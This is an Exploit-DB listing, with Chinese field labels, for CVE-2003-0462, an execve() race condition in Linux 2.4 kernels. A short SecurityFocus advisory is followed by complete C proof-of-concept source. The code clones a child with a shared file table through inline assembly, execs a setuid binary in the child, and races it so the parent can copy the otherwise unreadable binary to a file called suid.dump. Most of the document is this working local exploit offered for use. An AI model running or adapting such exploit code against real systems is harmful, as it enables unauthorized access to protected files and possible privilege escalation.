标题: Linux Kernel 2.4 - SUID 'execve()' System Call Race Condition Executable File Read EDB-ID: 22840 CVE: 2003-0462 类型: LOCAL 平台: LINUX 发布日期: 2003-06-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/8042/info

A race condition vulnerability has been discovered in the Linux execve() system call, affecting the 2.4 kernel tree. The problem lies in the atomicity of placing a target executables file descriptor within the current process descriptor and executing the file.

An attacker could potentially exploit this vulnerability to gain read access to a setuid binary that would otherwise be unreadable. Although unconfirmed, it may also be possible for an attacker to write code to a target executable, making it theoretically possible to execute arbitrary code with elevated privileges.
*/

/****************************************************************
*        *
* Linux 2.4.x suid exec/file read race proof of concept *
* by IhaQueR      *
*        *
****************************************************************/



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>

#include <asm/page.h>



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
 fprintf(stderr, "FATAL: %s\n", msg);
    } else {
 perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int child(char **av)
{
    int fd;

    printf("\nChild running pid %d", getpid());
    fflush(stdout);
    usleep(100000);

    execvp(av[0], av + 1);

    printf("\nFatal child exit\n");
    fflush(stdout);
    exit(0);
}


void exitus(int v)
{
    printf("\nParent terminating (child exited)\n\n");
    fflush(stdout);
    exit(129);
}

void usage(const char *name)
{
    printf("\nSuid exec dumper by IhaQueR\n");
    printf("\nUSAGE:\t%s executable [args...]", name);
    printf("\n\n");
    fflush(stdout);
    exit(0);
}


int main(int ac, char **av)
{
    int p = 0, fd = 0;
    struct stat st, st2;

    if (ac < 2)
 usage(av[0]);

    av[0] = (char *) strdup(av[1]);
    av[1] = (char *) basename(av[1]);

    p = stat(av[0], &st2);
    if (p)
 fatal("stat");

    signal(SIGCHLD, &exitus);
    printf("\nParent running pid %d", getpid());
    fflush(stdout);

    __asm__ (
             "pusha              \n"
             "movl $0x411, %%ebx \n"
             "movl %%esp, %%ecx  \n"
             "movl $120, %%eax   \n"
             "int  $0x80         \n"
             "movl %%eax, %0     \n"
             "popa"
             : : "m"(p)
            );

    if (p < 0)
 fatal("clone");

    if (!p)
 child(av);

    printf("\nParent stat loop");
    fflush(stdout);
    while (1) {
 p = fstat(3, &st);
 if (!p) {
     if (st.st_ino != st2.st_ino)
  fatal("opened wrong file!");

     p = lseek(3, 0, SEEK_SET);
     if (p == (off_t) - 1)
  fatal("lseek");
     fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
        0755);
     if (fd < 0)
  fatal("open");
     while (1) {
  char buf[8 * PAGE_SIZE];

  p = read(3, buf, sizeof(buf));
  if (p <= 0)
      break;
  write(fd, buf, p);
     }
     printf("\nParent success stating:");
     fflush(stdout);
     printf("\nuid %d gid %d mode %.5o inode %u size %u",
     st.st_uid, st.st_gid, st.st_mode, st.st_ino,
     st.st_size);
     fflush(stdout);
     printf("\n");
     fflush(stdout);
     exit(1);
 }
    }

    printf("\n\n");
    fflush(stdout);

    return 0;
} URL: https://www.exploit-db.com/exploits/22840